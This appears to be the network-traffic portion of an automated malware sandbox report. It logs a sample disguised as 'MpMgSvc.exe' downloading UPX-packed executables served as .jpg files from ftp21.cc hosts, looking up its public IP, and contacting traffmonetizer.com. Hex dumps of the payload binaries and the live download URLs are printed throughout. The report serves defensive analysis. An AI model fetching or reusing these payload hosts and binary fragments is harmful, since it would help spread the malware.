00 50 45 00 00 4c 01 03 00 6a 0f 84 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 32 00 00 20 00 00 00 50 5f 00 20 2d 92 00 00 60 5f 00 00 30 92 00 00 00 40 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$;4aUUUJvUJyUISUIzU)JSUJgUUW]R\|U+v>~UIs$UIsUJ#UJdUUOUS~URichUPELjf2 P_ -`_0@PH0UPX0P_UPX12`_2@.rsrc 02@4.24UPX!4.L3
Jul 6, 2024 14:09:57.382379055 CEST	224	IN	Data Raw: d9 0f 86 d9 0a 92 00 16 cd 32 00 00 00 90 00 26 27 00 8e fb f7 fc ff 33 c0 c3 90 55 8b ec e8 27 00 00 16 b8 00 e9 12 12 8b e5 5d c3 2a 42 0e e9 b6 0d 39 33 2f ff fb e4 58 2f 47 81 ec 04 22 68 01 03 00 80 6a 00 6f df bd fb ff 35 e8 9e cf 18 22 b8 Data Ascii: 2&'3U']*B93/X/G"hjo5"-G"e{9thu6Uoh1P];D9nEv\|jhrPKP2Vu#OXd0m~N0T
Jul 6, 2024 14:09:57.382390022 CEST	1236	IN	Data Raw: 83 eb 7e c3 dd fd 04 e2 f3 c9 c2 0e 53 c2 20 00 56 aa 8a 45 08 8a 65 0c 70 67 21 d8 28 08 00 2f f2 3c 1e fd e2 bf dd 75 5e e0 4b 75 fb ff e6 85 db 75 03 08 8b cb f7 c1 ff 7f f6 df a7 74 0f 8a 01 41 84 c0 74 3b 1d 75 f1 8b 01 ba ff fe fe 7e 03 d0 Data Ascii: ~S VEepg!(/<u^KuutAt;u~3tAL&t"vptA+\.^;tSWl:l7[}woS@P)Y^_[sa,1GptC@:AK[`S<`
Jul 6, 2024 14:09:57.382400036 CEST	224	IN	Data Raw: 00 7b 22 f8 a4 91 b4 e3 0c 0d 9e a6 0b 64 af ec 14 ec 14 f7 20 bf f1 fd 24 30 0a 04 eb 9e c2 00 39 b1 06 1b 09 99 19 04 1a 98 be 62 b8 07 10 55 50 19 58 4d 5a c9 46 f4 be 29 1c 39 04 90 0e 54 28 7b e4 42 9a 0f 04 24 01 38 33 14 2c 39 41 4a f0 81 Data Ascii: {"d $09bUPXMZF)9T({B$83,9AJNY1a0GzXJNMrAoQd('5t5Cr\-a>E\0SWj}xu*_[$?.dv~F\>bO8+,
Jul 6, 2024 14:09:57.571690083 CEST	1236	IN	Data Raw: 6a 1e 2e f9 48 46 04 d7 f0 06 ec 47 fa a9 15 ac da 75 0c bf 47 57 d7 13 c2 78 75 8a 37 5a 74 4d 71 d8 50 27 5d 08 5a 2b 03 f0 d2 20 8d fb 01 28 28 f1 35 71 c0 68 49 e8 be 36 e4 84 74 c8 bf f7 09 ac 01 38 3c 36 ad 0b 97 79 c9 09 99 0a 0f f7 01 50 Data Ascii: j.HFGuGWxu7ZtMqP']Z+ ((5qhI6t8<6yP\|UG5@N-Pc$& yB`(BA??*`at<U0AOg@XUT$L$u3\9tHu :@o7:u+t$:a"t
Jul 6, 2024 14:09:57.571718931 CEST	224	IN	Data Raw: 26 98 8f ff 75 98 04 b0 b9 02 45 88 a6 9d 9d 1b 26 4a 08 94 c7 c8 04 52 80 7e 98 94 36 07 c8 14 94 03 3a 07 10 85 1c 40 20 12 04 08 15 c1 62 73 7f 06 b9 60 04 73 02 a4 c0 80 a1 42 ec f3 08 79 24 03 ec fd 12 36 88 01 36 5e f3 5f 20 cd 82 83 a8 1f Data Ascii: &uE&JR~6:@ bs`sBy$66^_ P0h__4A_AE+\PpsCP0!TsL6B!dQ^^aQ_9Ue66^^6_!#h
Jul 6, 2024 14:09:57.571747065 CEST	1236	IN	Data Raw: 53 3c 18 5f 83 96 aa 30 fb 5f 18 80 3c 91 a4 01 0b 39 08 a0 93 e8 80 dc 12 c9 13 19 5f 01 c8 41 88 1d a8 be a4 11 54 89 45 8f c8 2b f9 93 05 0f 85 42 0c d9 19 89 42 5e 50 1b 1a 15 c1 10 21 5d 73 30 44 94 08 8f 9f 01 25 42 45 73 8f 90 41 2e 08 73 Data Ascii: S<_0_<9_ATE+BB^P!]s0D%BEsA.scB:"^^"^l^1l1^1l^ ^b b^ "%l^$8%)b\@n_" .([Fs*!sr! BcsA n
Jul 6, 2024 14:09:57.571757078 CEST	224	IN	Data Raw: d2 0d bc 90 cd bb 34 92 a1 25 2a 65 5f fe 92 61 b6 06 ac e5 ac 2f f9 c9 c0 5b 30 f8 a0 db b5 c5 cd 6c 04 dd 5d 0a dc 05 98 98 16 98 29 2c a1 ac 4c 06 78 20 08 c0 60 0d 30 a5 94 be c1 47 52 65 9a b0 b0 89 03 b1 03 90 83 1c 00 43 35 c8 21 07 b0 01 Data Ascii: 4%*e_a/[0l]),Lx `0GReC5!_@bsl"w9fvD2UcP0H4e$[#nBP6L>vqb:xO&Q[2SGVkvPF
Jul 6, 2024 14:09:57.571825027 CEST	1236	IN	Data Raw: 44 51 47 59 b4 00 c3 92 6b b1 e0 d9 ea 0a 07 84 e5 3d 88 4e 05 e0 85 d7 84 6b 85 3c 90 1c e4 01 ff 37 68 a0 80 8a ce c1 76 33 9f 9d 5b e4 e4 8a 9d 28 38 95 a8 a8 19 64 40 2e 52 03 51 2c e4 64 20 a0 a0 aa bb 9a 0c cb c3 1e 6f c7 06 20 a7 7c 38 5f Data Ascii: DQGYk=Nk<7hv3[(8d@.RQ,d o \|8_DA8!o< S99cro9XEt9oSu89I0:(=\:xl :(=' :_>A&;Uj;G;DD_# MXxX[Ywye'a
Jul 6, 2024 14:09:57.571841002 CEST	224	IN	Data Raw: 87 12 b6 8d 13 e9 4b 09 c3 5c 98 1e f9 03 f9 a4 a2 fc 1c 5c 0d 32 81 d5 3e df 6a 78 5c f8 a0 5c 50 15 85 09 b9 21 13 3a 06 d6 eb 20 9d 01 0c 4c 68 3a 9e d1 03 69 ee 54 84 3e 57 84 a0 2d 30 52 e8 6d 54 ff b1 c0 85 4c c8 46 04 34 61 1b d8 15 c7 00 Data Ascii: K\\2>jx\\P!: Lh:iT>W-0RmTLF4a2lhOrp!@PD @o%6WrT0K4@&93rP4L,a~V_%A[2s`A4;)!c<Lq;L5hz:\p@CAD,H
Jul 6, 2024 14:09:57.764353991 CEST	1236	IN	Data Raw: 06 3a 76 ae 81 00 25 fd 8a 06 21 2f 0b 82 40 94 0f 74 e3 46 24 0a 2a 50 82 13 5c 81 8a 75 7b 61 22 00 16 72 3b 35 64 42 0d e6 6a ad 56 0a 78 f5 08 70 86 85 74 a9 74 50 1c ae 63 c7 63 6c 13 64 61 3d 82 5c 8a 2c 94 9a 3c f4 6c 08 45 07 f7 4c 5e 2b Data Ascii: :v%!/@tF$*P\u{a"r;5dBjVxpttPcclda=\,<lEL^+APa NXT2c,N'Z\oiUi\$L5 s ;epP9AzRIk-uk(G4H1Leq\|TXBssqF
Jul 6, 2024 14:10:08.756113052 CEST	282	OUT	GET /Hooks.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: hook.ftp21.cc Connection: Keep-Alive
Jul 6, 2024 14:10:09.046983957 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 12244992 Content-Type: image/jpeg Last-Modified: Tue, 02 Jul 2024 14:15:46 GMT Accept-Ranges: bytes ETag: "2c8129558accda1:219" Server: Microsoft-IIS/6.0 Date: Sat, 06 Jul 2024 12:10:04 GMT Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 14 ff 8b b0 50 9e e5 e3 50 9e e5 e3 50 9e e5 e3 93 91 ba e3 54 9e e5 e3 d3 82 eb e3 4a 9e e5 e3 66 b8 ef e3 24 9e e5 e3 93 91 b8 e3 43 9e e5 e3 50 9e e4 e3 db 9f e5 e3 66 b8 ee e3 0c 9e e5 e3 50 9e e5 e3 51 9e e5 e3 b8 81 ee e3 52 9e e5 e3 52 69 63 68 50 9e e5 e3 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b 0e 82 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 ba 00 00 10 00 00 00 60 c4 00 20 3c 7f 01 00 70 c4 00 00 40 7f 01 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 7f 01 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PPPTJf$CPfPQRRichPPELf` <p@@PB@UPX0`UPX1p@.rsrc@@4.24UPX!8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	118.184.169.48	80	7432	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:10:14.363575935 CEST	222	OUT	GET /dyndns/getip HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://118.184.169.48/dyndns/getip User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 118.184.169.48
Jul 6, 2024 14:10:18.506093979 CEST	185	IN	HTTP/1.1 200 OK server: nginx date: Sat, 06 Jul 2024 12:10:18 GMT content-type: text/plain; charset=utf-8 transfer-encoding: chunked vary: Accept-Encoding Data Raw: 43 0d 0a 38 2e 34 36 2e 31 32 33 2e 33 33 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: C8.46.123.330
Jul 6, 2024 14:10:18.526562929 CEST	185	IN	HTTP/1.1 200 OK server: nginx date: Sat, 06 Jul 2024 12:10:18 GMT content-type: text/plain; charset=utf-8 transfer-encoding: chunked vary: Accept-Encoding Data Raw: 43 0d 0a 38 2e 34 36 2e 31 32 33 2e 33 33 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: C8.46.123.330

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	45.113.194.189	80	7432	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:10:18.521219015 CEST	219	OUT	GET /api.php?query=8.46.123.33&co=&resource_id=6006&oe=utf8 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 45.113.194.189
Jul 6, 2024 14:10:19.480456114 CEST	1080	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 393 Content-Type: application/json;charset=UTF-8 Date: Sat, 06 Jul 2024 12:10:19 GMT Expires: Sat, 06 Jul 2024 12:10:19 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: Apache Set-Cookie: BAIDUID=244883FC7C8379730035B9546A299054:FG=1; expires=Sun, 06-Jul-25 12:10:19 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1 Set-Cookie: BAIDUID=B44B6FA1E7F5066C0AABFBD18A8DDDD7:FG=1; expires=Sun, 06-Jul-25 12:10:19 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1 Tracecode: 06193148750397380874070620 Tracecode: 06193143651604204554070620 X-Powered-By: HHVM Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 30 22 2c 22 74 22 3a 22 22 2c 22 73 65 74 5f 63 61 63 68 65 5f 74 69 6d 65 22 3a 22 22 2c 22 64 61 74 61 22 3a 5b 7b 22 45 78 74 65 6e 64 65 64 4c 6f 63 61 74 69 6f 6e 22 3a 22 22 2c 22 4f 72 69 67 69 6e 51 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 53 63 68 65 6d 61 56 65 72 22 3a 22 22 2c 22 61 70 70 69 6e 66 6f 22 3a 22 22 2c 22 64 69 73 70 5f 74 79 70 65 22 3a 30 2c 22 66 65 74 63 68 6b 65 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 e7 be 8e e5 9b bd 22 2c 22 6f 72 69 67 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6f 72 69 67 69 70 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 72 65 73 6f 75 72 63 65 69 64 22 3a 22 36 30 30 36 22 2c 22 72 6f 6c 65 5f 69 64 22 3a 30 2c 22 73 63 68 65 6d 61 49 44 22 3a 22 22 2c 22 73 68 61 72 65 49 6d 61 67 65 22 3a 31 2c 22 73 68 6f 77 4c 69 6b 65 53 68 61 72 65 22 3a 31 2c 22 73 68 6f 77 6c 61 6d 70 22 3a 22 31 22 2c 22 73 74 72 61 74 [TRUNCATED] Data Ascii: {"status":"0","t":"","set_cache_time":"","data":[{"ExtendedLocation":"","OriginQuery":"8.46.123.33","SchemaVer":"","appinfo":"","disp_type":0,"fetchkey":"8.46.123.33","location":"","origip":"8.46.123.33","origipquery":"8.46.123.33","resourceid":"6006","role_id":0,"schemaID":"","shareImage":1,"showLikeShare":1,"showlamp":"1","strategyData":{},"titlecont":"IP","tplt":"ip"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	64985	211.108.60.155	80	12364	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:10:58.546664953 CEST	91	OUT	GET /64.jpg HTTP/1.1 User-Agent: HTTPREAD Host: ssl.ftp21.cc Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	58688	107.189.29.100	80	7432	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:11:30.553927898 CEST	96	OUT	GET /Update.txt HTTP/1.1 User-Agent: HTTPREAD Host: down.ftp21.cc Cache-Control: no-cache

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jul 6, 2024 14:11:28.198930025 CEST	144.76.194.78	443	192.168.2.4	61335	CN=*.traffmonetizer.com CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Mon Nov 13 01:00:00 CET 2023 Thu Jan 01 01:00:00 CET 2004 Thu Sep 06 02:00:00 CEST 2018 Tue Mar 12 01:00:00 CET 2019	Sun Oct 20 01:59:59 CEST 2024 Mon Jan 01 00:59:59 CET 2029 Wed Sep 06 01:59:59 CEST 2028 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	3b5074b1b5d032e5620f69f9f700ff0e
					CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Jan 01 01:00:00 CET 2004	Mon Jan 01 00:59:59 CET 2029
					CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Thu Sep 06 02:00:00 CEST 2018	Wed Sep 06 01:59:59 CEST 2028
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029
Jul 6, 2024 14:12:12.380501032 CEST	144.76.194.78	443	192.168.2.4	59431	CN=*.traffmonetizer.com CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Mon Nov 13 01:00:00 CET 2023 Thu Jan 01 01:00:00 CET 2004 Thu Sep 06 02:00:00 CEST 2018 Tue Mar 12 01:00:00 CET 2019	Sun Oct 20 01:59:59 CEST 2024 Mon Jan 01 00:59:59 CET 2029 Wed Sep 06 01:59:59 CEST 2028 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	3b5074b1b5d032e5620f69f9f700ff0e
					CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Jan 01 01:00:00 CET 2004	Mon Jan 01 00:59:59 CET 2029
					CN=GoGetSSL RSA DV CA, O=GoGetSSL, L=Riga, C=LV	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Thu Sep 06 02:00:00 CEST 2018	Wed Sep 06 01:59:59 CEST 2028
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:10:13 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hMWk29vbXHue1xR&MD=M38LKxYs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-06 12:10:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7f15fb55-4b21-49a3-ae88-aa478585a138 MS-RequestId: 33a28705-09e1-4cb3-847b-f2f8ea40c9ff MS-CV: pLimLE0EoEqUcPLE.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 06 Jul 2024 12:10:13 GMT Connection: close Content-Length: 24490
2024-07-06 12:10:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-06 12:10:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	59453	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:10:41 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hMWk29vbXHue1xR&MD=M38LKxYs HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-06 12:10:42 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7c0396ab-865f-4eff-9a07-72ac75d18a14 MS-RequestId: 354c3a3f-b25c-4eff-af67-03a0531496d1 MS-CV: iC/xPIIfAkS+JY+/.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 06 Jul 2024 12:10:42 GMT Connection: close Content-Length: 30005
2024-07-06 12:10:42 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-06 12:10:42 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	53553	144.76.194.78	443	7432	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:11:46 UTC	56	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com
2024-07-06 12:11:46 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 06 Jul 2024 12:11:46 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-07-06 12:11:46 UTC	37	IN	Data Raw: 31 61 0d 0a 73 72 76 2d 75 73 32 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1asrv-us2.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	61225	144.76.194.78	443	7432	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:12:15 UTC	56	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com
2024-07-06 12:12:15 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 06 Jul 2024 12:12:15 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-07-06 12:12:15 UTC	38	IN	Data Raw: 31 62 0d 0a 73 72 76 2d 75 73 32 32 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1bsrv-us22.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	53862	144.76.194.78	443	7432	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:13:23 UTC	80	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com Connection: Keep-Alive
2024-07-06 12:13:23 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 06 Jul 2024 12:13:23 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-07-06 12:13:23 UTC	38	IN	Data Raw: 31 62 0d 0a 73 72 76 2d 75 73 31 36 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1bsrv-us16.traffmonetizer.com0

